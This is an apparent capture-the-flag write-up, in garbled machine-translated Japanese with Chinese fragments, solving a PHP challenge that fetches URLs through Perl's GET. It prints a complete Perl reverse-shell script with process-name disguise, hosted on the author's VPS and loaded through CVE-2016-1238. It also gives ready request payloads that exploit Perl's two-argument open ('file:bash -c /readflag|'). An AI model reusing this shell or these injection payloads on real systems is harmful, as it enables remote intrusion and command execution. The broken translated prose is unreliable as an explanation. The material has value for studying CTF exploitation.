0x01のソース
http://117.50.3.97:8004/
<?php
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
コード機能は、大別し、IPに基づいてパラメータを渡して、サンドボックスのフォルダを作成しurl
、実行し"GET".escapeshellarg($_GET["url"])
、そして私たちの着信に結果を書き込みfilename
中
GET
でLib for WWW in Perl
シミュレートすることを目的とコマンドの要求をhttp
GET
この問題に対する解決策は0x01
1、CVE-2016から1238 ubuntu18.04は修復されていません
遭遇した解析時に非プロトコル定義の定義されたプロトコルのように(perl5/LWP/Protocol
フォルダ、デフォルトのサポートを参照することができGHTTP
、cpan
、data
、file
、ftp
、gopher
、http
、https
、loopback
、mailto
、nntp
、nogo
ときのようなプロトコル、HyyMbb://HyyMbb.com
URIは自動的に現在のディレクトリとビューの下のディレクトリを読み込みます、対応プロトコルモジュールがありますと午後を試してみてくださいeval "require xxx"
ここで悪質な午後のモジュールは、脆弱なコード、特に、実施されるperl5/URI.pm
136行がで:
sub implementor
{
my($scheme, $impclass) = @_;
if (!$scheme || $scheme !~ /\A$scheme_re\z/o) {
require URI::_generic;
return "URI::_generic";
}
$scheme = lc($scheme);
if ($impclass) {
# Set the implementor class for a given scheme
my $old = $implements{$scheme};
$impclass->_init_implementor($scheme);
$implements{$scheme} = $impclass;
return $old;
}
my $ic = $implements{$scheme};
return $ic if $ic;
# scheme not yet known, look for internal or
# preloaded (with 'use') implementation
$ic = "URI::$scheme"; # default location
# turn scheme into a valid perl identifier by a simple transformation...
$ic =~ s/\+/_P/g;
$ic =~ s/\./_O/g;
$ic =~ s/\-/_/g;
no strict 'refs';
# check we actually have one for the scheme:
unless (@{"${ic}::ISA"}) {
if (not exists $require_attempted{$ic}) {
# Try to load it
my $_old_error = $@;
###################################
eval "require $ic"; #尝试包含并执行
###################################
die $@ if $@ && $@ !~ /Can\'t locate.*in \@INC/;
$@ = $_old_error;
}
return undef unless @{"${ic}::ISA"};
}
$ic->_init_implementor($scheme);
$implements{$scheme} = $ic;
$ic;
}
我々は見つけることができるようにperl
バックドアを、自分のVPSに置きます
#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";
# Where to send the reverse shell. Change these.
my $ip = '127.0.0.1';
my $port = 12345;
# Options
my $daemon = 1;
my $auth = 0; # 0 means authentication is disabled and any
# source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);
# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";
# Change the process name to be less conspicious
$0 = "[httpd]";
# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");
if ($auth) {
unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
cgiprint("ERROR: Your client isn't authorised to view this page");
cgiexit();
}
}
} elsif ($auth) {
cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
cgiexit(0);
}
# Background and dissociate from parent process if required
if ($daemon) {
my $pid = fork();
if ($pid) {
cgiexit(0); # parent exits
}
setsid();
chdir('/');
umask(0);
}
# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
cgiprint("Sent reverse shell to $ip:$port");
cgiprintpage();
} else {
cgiprint("Couldn't open reverse shell to $ip:$port: $!");
cgiexit();
}
# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));
# Wrapper around print
sub cgiprint {
my $line = shift;
$line .= "<p>\n";
$global_page .= $line;
}
# Wrapper around exit
sub cgiexit {
cgiprintpage();
exit 0; # 0 to ensure we don't give a 500 response.
}
# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
print "Content-Length: " . length($global_page) . "\r Connection: close\r Content-Type: text\/html\r\n\r\n" . $global_page;
}
/?url=自己的vps的perl后门路径&filename=URI/HyyMbb.pm
/?url=HyyMbb:/HyyMbb.com&filename=xxx
私たちは、シェルのリバウンドを受けることができるようになります
2、perlのオープンコマンドは、コマンドの実行につながる可能性
プロセスでfile
プロトコルperl5/LWP/Protocol/file.pm
130ライン、として次の
#第47行
# test file exists and is readable
unless (-e $path) {
return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
"File `$path' does not exist");
}
unless (-r _) {
return HTTP::Response->new( &HTTP::Status::RC_FORBIDDEN,
'User does not have read permission');
}
...
#第127行
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
"Cannot read file '$path': $!");
binmode(F);
$response = $self->collect($arg, $response, sub {
my $content = "";
my $bytes = sysread(F, $content, $size);
return \$content if $bytes > 0;
return \ "";
});
close(F);
}
...
この脆弱性はubuntu18.04修正された
パラメータの中央を開き、3行目に以下のように修復を'<'
# read the file
if ($method ne "HEAD") {
open(my $fh, '<' , $path) or return new
HTTP::Response(HTTP::Status::RC_INTERNAL_SERVER_ERROR,
"Cannot read file '$path': $!");
binmode($fh);
$response = $self->collect($arg, $response, sub {
my $content = "";
my $bytes = sysread($fh, $content, $size);
return \$content if $bytes > 0;
return \ "";
});
close($fh);
}
最初のファイルの前にある全て満たすのが存在するため、コマンドを実行する前に、同じ名前の対応するファイルがあることを確認する必要があり、オープンステートメントに続ける/?url=file:bash -c /readflag|&filename=bash -c /readflag|
同じ名前の対応するファイルを作成するため
/?url=file:bash -c /readflag|&filename=123
のオープン活用する機能コードの実行を
最後に直接アクセス/sandbox/哈希值/123
フラグを得ることができます